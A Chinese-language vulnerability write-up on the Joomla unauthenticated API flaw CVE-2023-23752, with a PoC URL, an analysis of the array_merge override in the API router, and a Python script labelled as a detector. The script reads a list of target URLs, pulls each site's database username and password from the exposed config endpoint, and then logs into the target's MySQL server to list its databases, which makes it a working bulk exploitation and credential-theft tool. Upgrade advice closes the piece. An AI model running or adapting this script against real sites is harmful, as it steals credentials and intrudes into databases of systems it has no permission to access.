- 漏洞环境前置
Joomla版本
4.0.0 <= Joomla <= 4.2.7
- 漏洞复现
Poc:
http://127.0.0.1:8026/api/index.php/v1/config/application?public=true
- 漏洞分析:
该漏洞产生的主要原因是在路由匹配的过程中,产生了变量覆盖,导致可以绕过权限认证,首先从官方的修复方式入手:
根据官网的修复方式可知,通过array_key_exists函数,对数组$query进行判断,如果存在“public”键,则进行销毁。所以问题就出现在libraries/src/Router/ApiRouter.php#parseApiRoute方法。
在libraries/src/Router/ApiRouter.php#parseApiRoute方法中通过uri::getInstance()->getQuery(true)将public转换成数组,并存入变量$query中:
紧接着跳入,一个for循环对当前route进行遍历,经过请求方式的判断,之后会对访问路径进行正则匹配判断路径是否合法:
getRegex()的作用时获取router数组里面的路由。
POC(/api/index.php/v1/config/application?public=true)访问的路由正好在route数组中。
进入if语句之后将v1/config/application的默认配置赋值给数组变量vars,
此时数组变量vars值为:
这个时候$route->getRouteVariables()的值为空,不会进入for循环,之后获取v1/config/application的Controller赋值给变量$controller.
重点:之后使用array_merge()函数将$vars数据和$query数组进行合并,在这过程种$vars的public的值覆盖掉$query中public的值,最后赋值给$vars,此时$vars中的public的结果为true
最后经过return进行返回,获取route
接下来就是使用route['vars']['public']进行权限判断,经过上面array_merge()函数的覆盖,route['vars']['public']的值为ture。所以能够进行权限越过。
检测脚本:
'''
CVE-2023-23752Joomla未授权访问漏洞
----by:FlynnAAAA
'''
import re
import requests
import threading
import json
import pymysql
threadLock = threading.Lock()
def urlsGet(url):
timeout = 5
#超时设置为3s
result = url.split("//")[1] # 分割字符串并选择第二部分
IP=result.split(":")[0]
#print(IP)
url=url+"/api/index.php/v1/config/application?public=true"
try:
get_response = requests.get(url=url,timeout=timeout)
if "sitename" in get_response.text:
l_str = json.loads(get_response.text)
l_str_data=l_str['data']
print(url)
for key in l_str_data:
attributes=key['attributes']
for key in attributes:
if key=="user":
print("证号: "+attributes[key])
user=attributes[key]
if user=="root":
print("值得注意!!!!!")
if key=="password":
print("密码: "+attributes[key])
password=attributes[key]
if key=="db":
print("数据库名字: "+attributes[key])
db=attributes[key]
if key=="dbtype":
print("数据库种类: "+attributes[key])
db=attributes[key]
try:
db_link = pymysql.connect(host=IP,user=user,password=password,database=db)
print("连接成功")
cursor = db_link .cursor()
sql = "show databases;"
cursor.execute(sql)
# 获取查询结果
results = cursor.fetchall()
# 处理查询结果
for row in results:
print(row)
cursor.close()
db_link.close()
except Exception as e:
print("连接失败")
pass
with open("example.txt", "w") as f:
# 将变量写入文件
f.write(url)
except Exception as e:
# threadLock.acquire() # 同步锁,用于异步写入,避免同时写入出现错误
value3 = url + " -->失败"
print(value3);
pass
if __name__ == '__main__':
with open('urlsGetResult.txt', 'r', encoding='utf-8') as fp:
urls = fp.readlines()
for url in urls:
if url.find("http") == 0:
url = url
else:
url = "http://"+url
url = url.replace("\n", "")
urlsGet(url)
#t = threading.Thread(target=urlsGet, args=(url,)) # 注意传入的参数一定是一个元组!
#t.start()
- 总结:
修复建议:
升级到最新版本https://github.com/joomla/joomla-cms/releases/tag/4.2.8
禁止数据库外联,原因是该漏洞会泄露数据库连接用户名、密码。
版权归原作者 FlynnAAAA 所有, 如有侵权,请联系我们删除。